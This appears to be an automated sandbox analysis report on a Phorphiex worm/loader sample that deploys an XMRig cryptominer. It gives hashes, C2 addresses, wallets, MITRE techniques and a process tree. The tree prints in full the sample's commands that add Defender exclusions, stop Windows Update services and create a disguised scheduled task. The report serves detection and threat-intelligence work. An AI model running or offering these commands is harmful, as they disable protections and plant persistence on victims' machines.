phorphiex | 82b51380d3a8c5e574087a113c15fe3634d6b20fa3af387947695e5bbf07dc63

Analysis

max time kernel
120s
max time network
118s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
05-08-2024 17:53

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General

Target

babdc434b7ad8f289cd2159505fe0170N.exe
Size

113KB
MD5

babdc434b7ad8f289cd2159505fe0170
SHA1

bb9ac828ed809beffd2dd7851aa6dd3bc2168c53
SHA256

82b51380d3a8c5e574087a113c15fe3634d6b20fa3af387947695e5bbf07dc63
SHA512

74d9fe88b9788b15f18767fc5bc7fde034315c1b1953bc1a30a963df4ff733e302f6c1101904bb154eea7d548f8aafcd0da424099e70396b0f2578c4d1fc5492
SSDEEP

3072:OVS1/eI4pnTfEFYJE3nwzPdCNU/efHYTo+:OEHGnTcFYOXwJigT

Score

10^/10

phorphiex xmrig discovery evasion execution loader miner persistence trojan worm

Malware Config

Extracted

Family

phorphiex

http://185.215.113.66/

http://91.202.233.141/

Wallets

0xCa90599132C4D88907Bd8E046540284aa468a035

TRuGGXNDM1cavQ1AqMQHG8yfxP4QWVSMN6

qph44jx8r9k5xeq5cuf958krv3ewrnp5vc6hhdjd3r

XryzFMFVpDUvU7famUGf214EXD3xNUSmQf

LLeT2zkStY3cvxMBFhoWXkG5VuZPoezduv

rwc4LVd9ABpULQ1CuCpDkgX2xVB1fUijyb

4AtjkCVKbtEC3UEN77SQHuH9i1XkzNiRi5VCbA2XGsJh46nJSXfGQn4GjLuupCqmC57Lo7LvKmFUyRfhtJSvKvuw3h9ReKK

15TssKwtjMtwy4vDLcLsQUZUD2B9f7eDjw85sBNVC5LRPPnC

17hgMFyLDwMjxWqw5GhijhnPdJDyFDqecY

ltc1qt0n3f0t7vz9k0mvcswk477shrxwjhf9sj5ykrp

3PMiLynrGVZ8oEqvoqC4hXD67B1WoALR4pc

3FerB8kUraAVGCVCNkgv57zTBjUGjAUkU3

DLUzwvyxN1RrwjByUPPzVMdfxNRPGVRMMA

t1J6GCPCiHW1eRdjJgDDu6b1vSVmL5U7Twh

stars125f3mw4xd9htpsq4zj5w5ezm5gags37yxxh6mj

bnb1epx67ne4vckqmaj4gwke8m322f4yjr6eh52wqw

bc1qmpkehfffkr6phuklsksnd7nhgx0369sxu772m3

bitcoincash:qph44jx8r9k5xeq5cuf958krv3ewrnp5vc6hhdjd3r

GBQJMXYXPRIWFMXIFJR35ZB7LRKMB4PHCIUAUFR3TKUL6RDBZVLZEUJ3

Attributes

mutex
x88767657x
user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36

Signatures

Modifies security service 2 TTPs 1 IoCs
evasion

Modify Registry
T1112

Windows Service
T1543.003

Processes:

sysmysldrv.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Start = "4" sysmysldrv.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Start = "4"	sysmysldrv.exe

Phorphiex payload 1 IoCs

Processes:

resource	yara_rule
\Users\Admin\AppData\Local\Temp\638127775.exe	family_phorphiex

Phorphiex, Phorpiex
Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.
worm trojan loader phorphiex

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

Processes:

1046733929.exewupgrdsv.exe

description	pid	process	target process
PID 2384 created 1224	2384	1046733929.exe	Explorer.EXE
PID 2384 created 1224	2384	1046733929.exe	Explorer.EXE
PID 2052 created 1224	2052	wupgrdsv.exe	Explorer.EXE
PID 2052 created 1224	2052	wupgrdsv.exe	Explorer.EXE

Windows security bypass 2 TTPs 6 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

sysmysldrv.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysmysldrv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysmysldrv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysmysldrv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysmysldrv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysmysldrv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysmysldrv.exe

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 7 IoCs

miner

Processes:

resource	yara_rule
behavioral1/memory/2052-80-0x000000013FBA0000-0x0000000140116000-memory.dmp	xmrig
behavioral1/memory/988-82-0x0000000140000000-0x00000001407EF000-memory.dmp	xmrig
behavioral1/memory/988-84-0x0000000140000000-0x00000001407EF000-memory.dmp	xmrig
behavioral1/memory/988-85-0x0000000140000000-0x00000001407EF000-memory.dmp	xmrig
behavioral1/memory/988-86-0x0000000140000000-0x00000001407EF000-memory.dmp	xmrig
behavioral1/memory/988-87-0x0000000140000000-0x00000001407EF000-memory.dmp	xmrig
behavioral1/memory/988-88-0x0000000140000000-0x00000001407EF000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exe

pid process

2888 powershell.exe
1972 powershell.exe
1568 powershell.exe
Downloads MZ/PE file
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002
Executes dropped EXE 8 IoCs

Processes:

F5A5.exe638127775.exesysmysldrv.exe3125130565.exe743723625.exe1702031001.exe1046733929.exewupgrdsv.exe

pid process

2676 F5A5.exe
2836 638127775.exe
2556 sysmysldrv.exe
1180 3125130565.exe
1156 743723625.exe
2304 1702031001.exe
2384 1046733929.exe
2052 wupgrdsv.exe
Loads dropped DLL 8 IoCs

Processes:

F5A5.exesysmysldrv.exe1702031001.exetaskeng.exe

pid process

2676 F5A5.exe
2676 F5A5.exe
2556 sysmysldrv.exe
2556 sysmysldrv.exe
2556 sysmysldrv.exe
2556 sysmysldrv.exe
2304 1702031001.exe
1532 taskeng.exe

pid	process
2676	F5A5.exe
2836	638127775.exe
2556	sysmysldrv.exe
1180	3125130565.exe
1156	743723625.exe
2304	1702031001.exe
2384	1046733929.exe
2052	wupgrdsv.exe

pid	process
2676	F5A5.exe
2676	F5A5.exe
2556	sysmysldrv.exe
2556	sysmysldrv.exe
2556	sysmysldrv.exe
2556	sysmysldrv.exe
2304	1702031001.exe
1532	taskeng.exe

Windows security modification 2 TTPs 7 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

sysmysldrv.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysmysldrv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysmysldrv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysmysldrv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysmysldrv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysmysldrv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysmysldrv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Security Center\AntiSpywareOverride = "1"	sysmysldrv.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

638127775.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings = "C:\\Windows\\sysmysldrv.exe"	638127775.exe

Drops file in System32 directory 2 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

wupgrdsv.exe

description pid process target process

PID 2052 set thread context of 988 2052 wupgrdsv.exe notepad.exe
Drops file in Windows directory 2 IoCs

Processes:

638127775.exe

description ioc process

File created C:\Windows\sysmysldrv.exe 638127775.exe
File opened for modification C:\Windows\sysmysldrv.exe 638127775.exe
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exe

pid process

2920 sc.exe
3048 sc.exe
3064 sc.exe
1516 sc.exe
2564 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

description	pid	process	target process
PID 2052 set thread context of 988	2052	wupgrdsv.exe	notepad.exe

description	ioc	process
File created	C:\Windows\sysmysldrv.exe	638127775.exe
File opened for modification	C:\Windows\sysmysldrv.exe	638127775.exe

pid	process
2920	sc.exe
3048	sc.exe
3064	sc.exe
1516	sc.exe
2564	sc.exe

System Location Discovery: System Language Discovery 1 TTPs 13 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

sc.execmd.exesc.exe3125130565.exesc.exesc.exesc.exe1702031001.exesysmysldrv.exe638127775.execmd.exepowershell.exeF5A5.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3125130565.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1702031001.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sysmysldrv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	638127775.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	F5A5.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence execution

Scheduled Task
T1053.005

Processes:

schtasks.exeschtasks.exe

pid process

1192 schtasks.exe
920 schtasks.exe

pid	process
1192	schtasks.exe
920	schtasks.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

Processes:

powershell.exe1046733929.exepowershell.exewupgrdsv.exepowershell.exe

pid	process
2888	powershell.exe
2384	1046733929.exe
2384	1046733929.exe
1972	powershell.exe
2384	1046733929.exe
2384	1046733929.exe
2052	wupgrdsv.exe
2052	wupgrdsv.exe
1568	powershell.exe
2052	wupgrdsv.exe
2052	wupgrdsv.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

powershell.exepowershell.exepowershell.exenotepad.exe

description	pid	process
Token: SeDebugPrivilege	2888	powershell.exe
Token: SeDebugPrivilege	1972	powershell.exe
Token: SeDebugPrivilege	1568	powershell.exe
Token: SeLockMemoryPrivilege	988	notepad.exe
Token: SeLockMemoryPrivilege	988	notepad.exe

Suspicious use of FindShellTrayWindow 61 IoCs

Processes:

notepad.exe

pid	process
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe

Suspicious use of SendNotifyMessage 61 IoCs

Processes:

notepad.exe

pid	process
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe
988	notepad.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

babdc434b7ad8f289cd2159505fe0170N.exeF5A5.exe638127775.exesysmysldrv.execmd.execmd.exe1702031001.exepowershell.exetaskeng.exe

description	pid	process	target process
PID 2924 wrote to memory of 2676	2924	babdc434b7ad8f289cd2159505fe0170N.exe	F5A5.exe
PID 2924 wrote to memory of 2676	2924	babdc434b7ad8f289cd2159505fe0170N.exe	F5A5.exe
PID 2924 wrote to memory of 2676	2924	babdc434b7ad8f289cd2159505fe0170N.exe	F5A5.exe
PID 2924 wrote to memory of 2676	2924	babdc434b7ad8f289cd2159505fe0170N.exe	F5A5.exe
PID 2676 wrote to memory of 2836	2676	F5A5.exe	638127775.exe
PID 2676 wrote to memory of 2836	2676	F5A5.exe	638127775.exe
PID 2676 wrote to memory of 2836	2676	F5A5.exe	638127775.exe
PID 2676 wrote to memory of 2836	2676	F5A5.exe	638127775.exe
PID 2836 wrote to memory of 2556	2836	638127775.exe	sysmysldrv.exe
PID 2836 wrote to memory of 2556	2836	638127775.exe	sysmysldrv.exe
PID 2836 wrote to memory of 2556	2836	638127775.exe	sysmysldrv.exe
PID 2836 wrote to memory of 2556	2836	638127775.exe	sysmysldrv.exe
PID 2556 wrote to memory of 3040	2556	sysmysldrv.exe	cmd.exe
PID 2556 wrote to memory of 3040	2556	sysmysldrv.exe	cmd.exe
PID 2556 wrote to memory of 3040	2556	sysmysldrv.exe	cmd.exe
PID 2556 wrote to memory of 3040	2556	sysmysldrv.exe	cmd.exe
PID 2556 wrote to memory of 1736	2556	sysmysldrv.exe	cmd.exe
PID 2556 wrote to memory of 1736	2556	sysmysldrv.exe	cmd.exe
PID 2556 wrote to memory of 1736	2556	sysmysldrv.exe	cmd.exe
PID 2556 wrote to memory of 1736	2556	sysmysldrv.exe	cmd.exe
PID 3040 wrote to memory of 2888	3040	cmd.exe	powershell.exe
PID 3040 wrote to memory of 2888	3040	cmd.exe	powershell.exe
PID 3040 wrote to memory of 2888	3040	cmd.exe	powershell.exe
PID 3040 wrote to memory of 2888	3040	cmd.exe	powershell.exe
PID 1736 wrote to memory of 2920	1736	cmd.exe	sc.exe
PID 1736 wrote to memory of 2920	1736	cmd.exe	sc.exe
PID 1736 wrote to memory of 2920	1736	cmd.exe	sc.exe
PID 1736 wrote to memory of 2920	1736	cmd.exe	sc.exe
PID 1736 wrote to memory of 3048	1736	cmd.exe	sc.exe
PID 1736 wrote to memory of 3048	1736	cmd.exe	sc.exe
PID 1736 wrote to memory of 3048	1736	cmd.exe	sc.exe
PID 1736 wrote to memory of 3048	1736	cmd.exe	sc.exe
PID 1736 wrote to memory of 3064	1736	cmd.exe	sc.exe
PID 1736 wrote to memory of 3064	1736	cmd.exe	sc.exe
PID 1736 wrote to memory of 3064	1736	cmd.exe	sc.exe
PID 1736 wrote to memory of 3064	1736	cmd.exe	sc.exe
PID 1736 wrote to memory of 1516	1736	cmd.exe	sc.exe
PID 1736 wrote to memory of 1516	1736	cmd.exe	sc.exe
PID 1736 wrote to memory of 1516	1736	cmd.exe	sc.exe
PID 1736 wrote to memory of 1516	1736	cmd.exe	sc.exe
PID 1736 wrote to memory of 2564	1736	cmd.exe	sc.exe
PID 1736 wrote to memory of 2564	1736	cmd.exe	sc.exe
PID 1736 wrote to memory of 2564	1736	cmd.exe	sc.exe
PID 1736 wrote to memory of 2564	1736	cmd.exe	sc.exe
PID 2556 wrote to memory of 1180	2556	sysmysldrv.exe	3125130565.exe
PID 2556 wrote to memory of 1180	2556	sysmysldrv.exe	3125130565.exe
PID 2556 wrote to memory of 1180	2556	sysmysldrv.exe	3125130565.exe
PID 2556 wrote to memory of 1180	2556	sysmysldrv.exe	3125130565.exe
PID 2556 wrote to memory of 1156	2556	sysmysldrv.exe	743723625.exe
PID 2556 wrote to memory of 1156	2556	sysmysldrv.exe	743723625.exe
PID 2556 wrote to memory of 1156	2556	sysmysldrv.exe	743723625.exe
PID 2556 wrote to memory of 1156	2556	sysmysldrv.exe	743723625.exe
PID 2556 wrote to memory of 2304	2556	sysmysldrv.exe	1702031001.exe
PID 2556 wrote to memory of 2304	2556	sysmysldrv.exe	1702031001.exe
PID 2556 wrote to memory of 2304	2556	sysmysldrv.exe	1702031001.exe
PID 2556 wrote to memory of 2304	2556	sysmysldrv.exe	1702031001.exe
PID 2304 wrote to memory of 2384	2304	1702031001.exe	1046733929.exe
PID 2304 wrote to memory of 2384	2304	1702031001.exe	1046733929.exe
PID 2304 wrote to memory of 2384	2304	1702031001.exe	1046733929.exe
PID 2304 wrote to memory of 2384	2304	1702031001.exe	1046733929.exe
PID 1972 wrote to memory of 920	1972	powershell.exe	schtasks.exe
PID 1972 wrote to memory of 920	1972	powershell.exe	schtasks.exe
PID 1972 wrote to memory of 920	1972	powershell.exe	schtasks.exe
PID 1532 wrote to memory of 2052	1532	taskeng.exe	wupgrdsv.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1224
- C:\Users\Admin\AppData\Local\Temp\babdc434b7ad8f289cd2159505fe0170N.exe
  "C:\Users\Admin\AppData\Local\Temp\babdc434b7ad8f289cd2159505fe0170N.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2924
- - C:\Users\Admin\AppData\Local\Temp\F5A5.exe
    "C:\Users\Admin\AppData\Local\Temp\F5A5.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2676
  - - C:\Users\Admin\AppData\Local\Temp\638127775.exe
      C:\Users\Admin\AppData\Local\Temp\638127775.exe
      4⤵
      Executes dropped EXE
      Adds Run key to start application
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2836
    - - C:\Windows\sysmysldrv.exe
        
        C:\Windows\sysmysldrv.exe
        5⤵
        Modifies security service
        Windows security bypass
        Executes dropped EXE
        Loads dropped DLL
        Windows security modification
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2556
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3040
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        7⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2888
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1736
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop UsoSvc
        7⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:2920
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop WaaSMedicSvc
        7⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:3048
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop wuauserv
        7⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:3064
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop DoSvc
        7⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:1516
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop BITS
        7⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:2564
      - C:\Users\Admin\AppData\Local\Temp\3125130565.exe
        
        C:\Users\Admin\AppData\Local\Temp\3125130565.exe
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1180
      - C:\Users\Admin\AppData\Local\Temp\743723625.exe
        
        C:\Users\Admin\AppData\Local\Temp\743723625.exe
        6⤵
        Executes dropped EXE
        
        PID:1156
      - C:\Users\Admin\AppData\Local\Temp\1702031001.exe
        
        C:\Users\Admin\AppData\Local\Temp\1702031001.exe
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2304
        
        C:\Users\Admin\AppData\Local\Temp\1046733929.exe
        
        C:\Users\Admin\AppData\Local\Temp\1046733929.exe
        7⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:2384
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#llzqlmcx#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Windows Upgrade Manager' /tr '''C:\Users\Admin\Windows Upgrade\wupgrdsv.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Windows Upgrade\wupgrdsv.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Windows Upgrade Manager' -RunLevel 'Highest' -Force; }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1972
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /tn "Windows Upgrade Manager" /tr "'C:\Users\Admin\Windows Upgrade\wupgrdsv.exe'"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:920
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /run /tn "Windows Upgrade Manager"
  2⤵
  PID:2440
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#llzqlmcx#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Windows Upgrade Manager' /tr '''C:\Users\Admin\Windows Upgrade\wupgrdsv.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Windows Upgrade\wupgrdsv.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Windows Upgrade Manager' -RunLevel 'Highest' -Force; }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1568
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /tn "Windows Upgrade Manager" /tr "'C:\Users\Admin\Windows Upgrade\wupgrdsv.exe'"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1192
- C:\Windows\System32\notepad.exe
  C:\Windows\System32\notepad.exe
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:988

C:\Windows\system32\taskeng.exe
taskeng.exe {E50A8C62-0C18-49AF-9A24-D50478DE1770} S-1-5-21-940600906-3464502421-4240639183-1000:MGWWAYYN\Admin:Interactive:[1]
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1532
- C:\Users\Admin\Windows Upgrade\wupgrdsv.exe
  "C:\Users\Admin\Windows Upgrade\wupgrdsv.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  PID:2052

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\F5A5.exe

Filesize
9KB

MD5
8d8e6c7952a9dc7c0c73911c4dbc5518

SHA1
9098da03b33b2c822065b49d5220359c275d5e94

SHA256
feb4c3ae4566f0acbb9e0f55417b61fefd89dc50a4e684df780813fb01d61278

SHA512
91a573843c28dd32a9f31a60ba977f9a3d4bb19ffd1b7254333e09bcecef348c1b3220a348ebb2cb08edb57d56cb7737f026519da52199c9dc62c10aea236645

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\30MTJ1CFVGO2C6ADXLK3.temp

Filesize
7KB

MD5
db703c522d76b972243b322537244559

SHA1
c35e254b2c82813fb1d64015bf2cf45ed65e16dc

SHA256
5244330bd575081d25ac656cf68be5a9837f20c95fc71c92158da671be08e7b4

SHA512
ac8b9c1961ef6eb45a8f15eec6062f39e478f6d8d6be5151ccfb9e05bbb757a9313a7efd2c82d6a17f2461cfd2790601247864d0d73a868ee524304004626ad4

Download Submit
\Users\Admin\AppData\Local\Temp\1046733929.exe

Filesize
5.4MB

MD5
41ab08c1955fce44bfd0c76a64d1945a

SHA1
